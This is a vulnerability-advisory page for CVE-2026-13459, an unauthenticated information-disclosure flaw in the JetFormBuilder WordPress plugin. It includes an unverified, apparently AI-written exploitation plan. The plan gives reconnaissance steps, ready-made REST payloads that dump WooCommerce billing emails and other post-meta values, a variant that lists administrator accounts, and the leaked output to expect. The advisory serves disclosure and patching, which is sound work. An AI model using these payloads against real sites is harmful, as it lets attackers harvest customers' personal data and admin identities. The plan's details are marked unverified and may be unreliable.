CVE-2026-13459

JetFormBuilder <= 3.6.3 - Missing Authorization to Unauthenticated Sensitive Information Disclosure via 'context' Parameter

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
3.6.3.1
Patched in
1d
Time to patch

Description

The JetFormBuilder — Dynamic Blocks Form Builder plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.6.3. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to retrieve every distinct value stored under any arbitrary wp_postmeta key on the site — including WooCommerce billing PII such as _billing_email, _billing_phone, and _billing_address fields, order totals, attachment paths, and any third-party plugin credentials or tokens stored in post meta — provided at least one published JetFormBuilder form with a get_from_db generator field exists on the site. Exploitation requires that the target site has at least one published jet-form-builder post containing a field whose generator_function is set to get_from_db; an attacker must supply a matching form ID, field name, and generator ID in the request, but all of these can be discovered by browsing the site's public forms.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.6.3
PublishedJuly 1, 2026
Last updatedJuly 2, 2026
Affected pluginjetformbuilder

What Changed in the Fix

Changes introduced in v3.6.3.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-13459 (JetFormBuilder) ## 1. Vulnerability Summary The JetFormBuilder plugin for WordPress is vulnerable to an unauthenticated sensitive information disclosure. The vulnerability resides in the `Get_From_DB` generator, which is designed to dynamically populate…

Show full research plan

Exploitation Research Plan: CVE-2026-13459 (JetFormBuilder)

1. Vulnerability Summary

The JetFormBuilder plugin for WordPress is vulnerable to an unauthenticated sensitive information disclosure. The vulnerability resides in the Get_From_DB generator, which is designed to dynamically populate form fields (like Select or Checkbox) with unique values from the wp_postmeta table.

The Generator_Update_Endpoint REST API allows unauthenticated users to trigger option regeneration. When the get_from_db generator is used, the generate_with_context method fails to validate the meta_key provided in the context parameter. This allows an attacker to supply any arbitrary meta key, causing the plugin to execute a SELECT DISTINCT query on that key and return all unique values found in the database.

2. Attack Vector Analysis

  • Endpoint: POST /wp-json/jet-form-builder-v2/v1/generator-update (Namespace jet-form-builder-v2/v1 is standard for this module).
  • Action: WP_REST_Server::CREATABLE (POST request).
  • Vulnerable Parameter: context (specifically the first value in the context associative array).
  • Required Parameters:
    • form_id: The ID of a published JetFormBuilder form.
    • field_name: The name of a field within that form using the get_from_db generator.
    • generator_id: Must be get_from_db.
  • Authentication: None (Unauthenticated).
  • Precondition: A published JetFormBuilder form must exist containing at least one field configured to use the "Get values list from database" generator.

3. Code Flow

  1. Entry Point: An unauthenticated request hits JFB_Modules\Option_Field\Rest_Api\Generator_Update_Endpoint::run_callback().
  2. Permission Check: check_permission() returns true, allowing the request to proceed.
  3. Form Resolution: resolve_form_post() validates that the form_id belongs to a published jet-form-builder post.
  4. Attribute Retrieval: get_block_attrs_from_post() retrieves the attributes for the specified field_name from the form post's content.
  5. Generator Validation: The code verifies that the requested generator_id matches the generator_function attribute saved in the form (preventing arbitrary generator execution).
  6. Generator Execution: Registry::instance()->generate() is called with the requested generator_id, block_attrs, and the attacker-supplied context.
  7. Context Injection (The Sink): In Jet_Form_Builder\Generators\Get_From_DB::generate_with_context():
    • The code calls reset( $context ) to get the first value from the context array.
    • It assigns this value to $settings['meta_key'].
    • It calls $this->generate( $settings ).
  8. Information Disclosure: In Get_From_DB::generate():
    • The $meta_key is used directly in a prepared statement: SELECT DISTINCT meta_value FROM $table WHERE meta_key = %s.
    • Every distinct value for that key in the wp_postmeta table is returned in the JSON response.

4. Nonce Acquisition Strategy

According to Generator_Update_Endpoint::check_permission(), the endpoint allows public access for frontend forms.

  • Verification: resolve_form_post only checks a preview_nonce if the post status is not 'publish'.
  • Conclusion: If targeting a published form (the standard use case), no nonce is required.

If a nonce were required for a specific environment (e.g., testing on a draft form), the following JS variable usually holds the REST nonce:
window.JetFormBuilderData?.rest_nonce

5. Exploitation Strategy

Step 1: Reconnaissance

Find a published form and identify the necessary IDs.

  1. Navigate to the homepage or any page containing a JetFormBuilder form.
  2. Inspect the page source for jet-form-builder- classes.
  3. Locate the form container and find the data-form-id attribute (e.g., 123).
  4. Locate an option field (Select/Radio) and find its name attribute (e.g., dynamic_field).

Step 2: Payload Construction

Construct a JSON POST body targeting sensitive meta keys.

  • Target: _billing_email (WooCommerce PII)
  • Endpoint: /wp-json/jet-form-builder-v2/v1/generator-update

Step 3: Execution (HTTP Request)

Use the http_request tool to send the exploit payload.

{
  "method": "POST",
  "url": "http://localhost:8080/wp-json/jet-form-builder-v2/v1/generator-update",
  "headers": {
    "Content-Type": "application/json"
  },
  "body": "{\"form_id\": 123, \"field_name\": \"dynamic_field\", \"generator_id\": \"get_from_db\", \"context\": {\"trigger\": \"_billing_email\"}}"
}

6. Test Data Setup

  1. Install JetFormBuilder (v3.6.3).
  2. Create sensitive data: Create a few WooCommerce orders or manually add sensitive post meta:
    wp post create --post_type=post --post_title="Dummy" --post_status=publish
    wp post meta add [POST_ID] _billing_email "admin@victim.com"
    wp post meta add [POST_ID] _billing_email "customer@victim.com"
    
  3. Create the vulnerable form:
    • Create a new form (jet-form-builder post type).
    • Add a Select Field.
    • In the "Fill Options From" setting, choose "Get values list from database".
    • Set a dummy "Meta Key" in the UI (e.g., dummy_key).
    • In the "Generator Settings" (sidebar), enable "Reload field options" (this ensures the REST endpoint is intended to work with this field).
    • Publish the form and note the Form ID and Field Name.

7. Expected Results

A successful response (HTTP 200) will contain a JSON object where the options array includes all unique values for the injected meta key.

Response Example:

{
  "success": true,
  "options": [
    {
      "value": "admin@victim.com",
      "label": "admin@victim.com"
    },
    {
      "value": "customer@victim.com",
      "label": "customer@victim.com"
    }
  ]
}

8. Verification Steps

After the HTTP request, verify the data matches the database content using WP-CLI:

wp db query "SELECT DISTINCT meta_value FROM wp_postmeta WHERE meta_key = '_billing_email'"

The values in the CLI output should match the values in the REST API response.

9. Alternative Approaches

If get_from_db is not active on the target site, check if get_from_users is available.

  • Generator ID: get_from_users
  • Logic: Get_From_Users::generate_with_context() allows overriding the roles setting via the context.
  • Exploit: Send a context value that corresponds to administrator.
  • Result: Discloses user_login, user_email, or display_name of all administrators depending on the field's static configuration.

Payload for Administrator Disclosure:

{
  "form_id": 123,
  "field_name": "user_select_field",
  "generator_id": "get_from_users",
  "context": { "trigger": "administrator" }
}

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.